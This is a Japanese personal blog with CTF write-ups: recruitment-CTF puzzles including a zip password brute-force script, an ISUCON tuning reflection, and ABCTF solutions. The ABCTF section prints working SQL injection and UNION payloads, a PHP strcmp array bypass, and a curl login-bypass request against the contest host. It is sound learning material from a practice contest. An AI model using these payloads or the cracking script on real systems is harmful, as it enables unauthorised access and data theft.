シュ~カツctf Writeupその1
大分間が空きましたが元気です。がんばります
色々あって引きこもってました。 現在もわりと引きこもってます。色々あって今にいたります
年末に風邪をこじらせている間にいつの間にか年も越して 気がつけば2月…
最近はCTFなどはにわかに参加しているくらいで 体を壊したり落ち込んだりアレでソレで 特に書く内容もない現状です。
せっかくなので、 他のwriteupさまの内容を見たので、雑ですが書いてみました。
一応シュ~カツ(?)としてネットエージェントさまのシューカツCTF(2017年卒採用特別選考CTF)に参加していました。
前年はusiomisakiにやられてしまっていたので、今年こそは。。。と頑張ってました。
ちなみに自分も最後まで解けてないので、続きをだれか…(以下同文)
mondai1
問題ページのHTMLのソースに去年の問題文があったので、
echo LzYxMDIvcGouaGJwLy86cHR0aA== | base64 -D | rev http://pbh.jp/2016/
とかして2016の部分を2017にすると見れたので、良かったということで最後まで解いてなかった…です。
一応ちゃんと正攻法?で解きました。 base64でデコードして3文字ずらすだけだったようです
$cat solv.rb require 'base64' Base64.decode64("c2VrMW1zMjUzNDo=").each_char do |s| print (s.ord - 3).chr end $ruby solv.rb pbh.jp/2017
mondai2
マイナンバーらしいです…
755304ac4117729248f05fd12203735598d727dd
MD5の総当りっぽいので頑張ってもらいました。
mondai3.zip:462365337210
mondai3
画像が2つ入ってたのでクリスタで重ねてレイヤーを減算にしたらそれっぽい文字が出たので
mondai4.zip:Macrocheira
mondai4
ポートスキャンすると、3つのポートが空いていたので、
MQTTとRedisとmemcachedにつなげて適当に探せば色々出ました
kurobeとtateyamaで検索したらアルペンルートとか出てきたのでそれをメチャクチャ入れまくってたりしましたが、結局1883+6379+11211
というヒントでいけました。
mondai5.zip::kurobetateyamatoyama
あとたまにokayamaとか偽passwordが流れてきてメッチャ迷った。すこぶる困った。
MQTTで遊んでたときの
mondai5
これに4,5日くらいかかってアレでした
某アニメを見てなかったためにヒントにも気付けませんでした。見ました。 txtファイルの更新日時で検索するとこのツイート
友利奈緒が文部科学大臣賞を受ける図#seccon pic.twitter.com/Pd6sCIqwcr
— lumin ハッカーフレンズ (@lumin) 2016年1月31日
が出てくるので、SECCONとかtomorinaoとかかなと思っても出来ず、 zipを眺めまぐったりしたり 試行錯誤の末大文字小文字を総当りすると解凍できました。ESP…
mondai6.zip:TomoriNao
mondai6
適当にdotpeekなどで処理を見ると、しんかんせんえきいんぜ
で21文字の回文を作れば良いっぽいので
mondai7.zip:しんかんせんえきいんぜんいきえんせんかんし
mondai7
解き方忘れてしまっていたので解き直してました。turai
pcapを読むとそれらしいファイルirainaiyou1.zip
をアップロードしている事がわかったり
他にもニコニコ大百科で何か見ていることとかわかるけど結局よくわかんない
irainaiyou1.zip
のパスワードっぽい文字列もアップロード時の削除用のhanamogera
くらいで試行錯誤組み替えて試してもダメだったり
結局総当りしようと思い、まずは適当に辞書で回そうとこのような辞書を使わせていただいてこんな感じで適当にやったところ何か出てきたので
$ cat brute.rb path = "john.txt" max = File.read(path).count("\n") open(path) do |f| f.each_line.with_index do |pass,i| # puts i.to_s + "/" + max.to_s s = system "7za x -p#{pass.chop} irainaiyou1.zip -aoa > /dev/null 2> /dev/null" if s puts pass break end end end%$ ruby brute.rb alexander
alexanderでirainaiyou1.zip
を解凍
出てきた画像ko'tae.jpg
の文字で解凍出来ました
mondai8.zip:ログ・ググザジョ
グロンギ語で「もうすぐだよ」らしいですね。zipのpasswordにunicodeが使いづらかったのでLhaplusを使うと楽でした。
これもわりと苦戦した というか色々アレだった…
mondai8
mondai8は簡単になった方で解きました
truecryptで暗号化されているので、またもや先程の辞書を使わせていただいてtruecrackでアレしたり
passwordが1234なのでマウントすると見えないファイルがいくつかあるので
あとは野菜レシピ.docxのパスワードが何故かpasswordだったので開くと謎フォントの答えが出てくる
ので適当なフォントにいじって
mondai9.zipFadeWhitePearl
mondai9
宇佐美定行 「ワキミウオンズサミウケサワキケキワナオンワゼケサミサケサ ズキアウオガミゼインミゼケキワキケサインケキケサアナワウイウズキズゼ アンミガアンケキアウワゼミンズナ イナアゼワキワンアナミガミガイゼミンミゼミウオンワン ワサミガミガオガワンケキワナオンケゼアナオキアゼワサミガズガズキインズナ ミゼアウズキケキアキケキオウイゼイキケサアキズウアキイキケキオサイガミガミゼ オンイサケガワンケキインケサワキケサアキミゼインミゼケキワキケサインケキケサオガズゼワナオンイガオンイキケキ イガオンイナワサイウインケキオガイキアウアンケキケサアキミキズナ アキオンワガアウミキケンオガアンミガオキミガイキアウミキアウ ミウミガミガオガケゼワキズキケキミゼミゼインミゼケキケゼケキワキオガイナアゼワキワン イナオキアゼアンアキワンワキオガミキズキケキミンズガオキオゼ ワウインズウワサミガケゼイキケキオガズキケンケサ ワキケサインケキケサケンズウオガケナアウミナケキオンケンアキ」
らしいです
宇佐美定行とかで調べると、上杉暗号というのが出てくるので
2文字ずつ使われてる文字を調べたりして
$ cat s.rb f = open("mondai9.txt") g0 = [] g1 = [] f.each_line do |l| l.split("").each_slice(2) do |n| g0.push(n[0]) g1.push(n[1]) end end p g0.uniq p g1.uniq $ ruby s.rb ["ワ", "ミ", "オ", "ズ", "ケ", "ア", "イ"] ["キ", "ウ", "ン", "サ", "ナ", "ゼ", "ガ"]
[“ワ”, “ミ”, “オ”, “ズ”, “ケ”, “ア”, “イ”]と
[“キ”, “ウ”, “ン”, “サ”, “ナ”, “ゼ”, “ガ”]から、
あずみおいわけ と うぜんながさきかなと思って復号化
$ cat uesugi.rb # encoding: utf-8 # 上杉暗号 sx, sy = 'あずみおいわけ うぜんながさき'.split iroha_table = [ %w(い ろ は に ほ へ と), %w(ち り ぬ る を わ か), %w(よ た れ そ つ ね な), %w(ら む う ゐ の お く), %w(や ま け ふ こ え て), %w(あ さ き ゆ め み し), %w(ゑ ひ も せ す ん "), ] File.open('mondai9.txt') do |file| file.each_line do |enc| enc.chop! result = [] enc.split(//).each_slice(2) do |a,b| x = sx.index(a) y = sy.index(b) ch = iroha_table[x][y] result << ch end puts "#{result.join}" end end $ ruby uesugi.rb しようわよんし"ゆうさんねん かいのたけた"しんけ"んにあやかり はつは"いされる ふろしきにつつまれたようき みつつのき"ゆうひにくろみつをかける たいか"と"らまてんとちとて"おこつた うえすき"けんしんとたけた"しんけ"んのりゆうこうて" こうふみやけ"のていは"んとなる とうめいなものはつくつていない よつつのひしか"たたけた"ひ"しのふろしき ふくろはときしのなか"れをくむ あけちみつひて"のかもん しんけ"んもちのせいそ"うもと
mondai10.zip:桔梗屋
というわけで
エクストリーム編につづく。。。
ISUCON反省文
K氏とチーム名「zoi」で参加してました。
今回は諸事情で学生枠でなく、一般枠で参加しました。
チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。
初参加でした。
最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。
予選落ちです。
準備
ISUCONの勝ち方を見たり、過去のエントリを見たり程度。
せめて当日までに使用言語くらいは決めようという感じであった
来年はもっと準備して挑みたいです(反省
やったこと
雑魚なのでK氏に全部やってもらいました。感謝🙏
結果的にチームとしてやったことは
- htmlify内で毎回selectしているものを引数にして渡す
SELECT *
→SELECT keyword
- 毎回
ORDER BY CHARACTER_LENGTH(keyword)
してるので、charlength
カラムを作ってORDER BY charlength
する - entryをredisに入れる/get('/')でredisからとってくる
- starをredisに入れる/load_starsでredisからとってくる
自分がやったことは
- kataribeでログ取ったり
CHARACTER_LENGTH(keyword)
いっぱい入れとく- インデックス貼ったり
- pt-query-digestでSlowLog見ていたり
- phpにうろたえたり
- ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
- h2oにしようとして挫折したり
困ったこと
- redisが入んなくて3,4時間かかってた
- 参加していた場所のインフラがわりと
クソ整備されてなくて、wifiに繋がらなかった - てんでsystemdわかんない
- てんでAzureわかんない
starがついていません
→ついてない…??
反省
- SQL全然わかんなくて
CHARACTER_LENGTH
は複文で何とかなるんだろうけど、一行のupdate文大量に作った - 最終点数スクショ取ってない
感想
今回はわりと、楽しもうというテンションで
なんだかんだ準備が不十分だったけれど、
学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな
不甲斐ないなりにテンションあげてみたり
そんな感じで。
頑張ります はい。いや、頑張るzoi
writeup的な
ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…
と楽しみに思っていたのですが、いつの間にか終わっていたので、
少し凹んだ。
Writeupがわりと寂しくなっていてショボイですが、覚え書き。
Caesar Salad - Crypt 10
xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}
caesar solver
などでグーグル先生に聞いたり
abctf{w3_thought_w3_n33d3d_on3_of_th3s3}
Elemental - Web 10
<!-- 7xfsnj65gsklsjsdkj -->
Just open it - Forensic 15
strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep "ABCTF" ABCTF{forensics_1_tooo_easy?}
GZ - Forensic 30
解凍するだけでした。たしか。
The Flash - Web 35
$ echo "c3RvcHRoYXRqcw==" | base64 -D stopthatjs
Drive Home - Recon 50
document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing
googleドキュメントのURLっぽいなあと
思っていたら、そんな感じでした。
Chocolate - Web 50
cookieの内容e2FkbWluOmZhbHNlfQ%3D%3D
をデコードしてみて、
$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D {admin:false}
false→trueにしてまた戻したり
Java Madness - Rev 50
引数の文字を逆にしているだけみたいな
$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\ ")' | xargs java what_the_hack ... Flag: ABCTF{ftc tselooc eht si ftcba}
手で逆にしていったほうが楽…
とりあえずrubyが書きたかった
Hide And Seek - Bin 50
main: ... 0x0000000100000f0c <+28>: cmp eax,0x0 0x0000000100000f0f <+31>: jne 0x100000f1a <main+42> → 出力しておわり 0x0000000100000f15 <+37>: call 0x100000e70 <totallyNotTheFlag> ... totallyNotTheFlag: ... 0x0000000100000eb0 <+64>: call 0x100000e00 <decrypt> ... decrypt: 0x0000000100000e2c <+44>: cmp rcx,rax 0x0000000100000e2f <+47>: jae 0x100000e63 <decrypt+99> → ret
gdbで適当にdecryptをループさせまくるだけでしょうか
gdb$ b *main+28 gdb$ b *decrypt+44 gdb$ r gdb$ set $eax=0 gdb$ c gdb$ set $rcx=0x0 gdb$ set $rax=0x30 gdb$ d 1 gdb$ commands 2 x/s $rdx set $rcx=0x0 set $rax=0x30 end gdb$ c
あとはエンター押しまくるだけ…
gdb$ Continuing. 0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"
MoonWalk - Forensic 60
foremostしました。
L33t H4xx0r - Web 70
source.txt
... if(strcmp($PASSWORD, $_GET['password']) == 0){ $success = true; }else{ $success = false; } ...
strcmpのやつでしょうか。
配列で送って…
http://yrmyzscnvh.abctf.xyz/web6/?password[]=a
abctf{always_know_whats_going_on}
そんな感じです。
Get 'Em All - Web 80
よくあるやつですね
' or 1 = 1 ; -- '
ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}
JS Pls - Rev 80
base64をデコードして難読化された部分を見やすくするために、
&&のところで改行したあと、
メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、
あとはわりと手作業でした。
process.stdin.resume(); process.stdin.setEncoding('utf8'); console.log('Give me a flag'); process.stdin.on('data', function (a) { a = a.trim(); 19 === a.length && a.substr(0, '5') === "ABCTF" && a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1 && 123 === a['5'].charCodeAt(0) && a.substr('6', '4') === Object.keys(process.versions)[1] && a['10'] === a['13'] && 95 === a['10'].charCodeAt(0) && a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0] && a.substr('14', '4') === "w4Ck" && (console.log('nice job!'), process.exit()); console.log('nope!'); process.exit(); });
上から順に、
- 19文字
- 0~5はABCTF
- 最後は
}
- 5文字目は
{
- 6~9文字目
node
$ node -e "console.log(Object.keys(process.versions)[1])" node
- 11文字目と13文字目は一緒
- 10文字目は
_
node -e "console.log(String.fromCharCode(95))" _
- 11~12文字目は
is
console.log((typeof x)['5'] + (typeof a)[0])
をつっこんでみる
- 14~17文字目は
w4Ck
ということがわかるので、
まとめると、ABCTF{node_is_w4Ck}
みたいな感じで。
もう少し効率よく頑張りたい…そんなこの頃。
Reunion - Web 150
?id=sleep(1)
とか?id=1 or 1=1 ; --
やると時間がかかったり全部出てきたりするので'
いらないんだなとか分かったり
こんな感じかな
select * from Dog where id = $_GET['id']
みたいな感じで
unionのカラム数を1 union select 1,1,1
みたいな感じで増やしていくと
カラム数は4つだとわかるので、
とりあえずテーブル名が欲しいので
1 AND 1=2 UNION SELECT table_schema, table_name ,1,1 FROM information_schema.tables ; --
... Color: 1 Name: INNODB_BUFFER_PAGE_LRU Breed: information_schema Color: 1 Name: w0w_y0u_f0und_m3 Breed: webeight Color: 1 Name: webeight ...
w0w_y0u_f0und_m3
テーブルが怪しい。何だ
1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --
。
abctf{uni0n_1s_4_gr34t_c0mm4nd}
的な感じで
Inj3ction - Web 170
login.txt
... $username = $_POST["username"]; $password = $_POST["password"]; $query = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($con, $query); $logged_in = false; if(mysqli_num_rows($result) === 1) { $row = mysqli_fetch_array($result); if($row["password"] === $password){ $logged_in = true; if($row["is_admin"] === true){ echo("<h1>Wow! Your flag is: $flag </h1>"); } } } ...
- 1行
- 結果のpasswordがPOSTされたpasswordと一致
- is_adminがtrue
を満たす結果をunionすれば良いのかな こんな感じで
1' union select 1,1,'pass',true ' ;--
みたいな
curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass <h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>
そんなこんなでした。頑張ります。
あと、開催期間はちゃんと把握しておきます。ええ。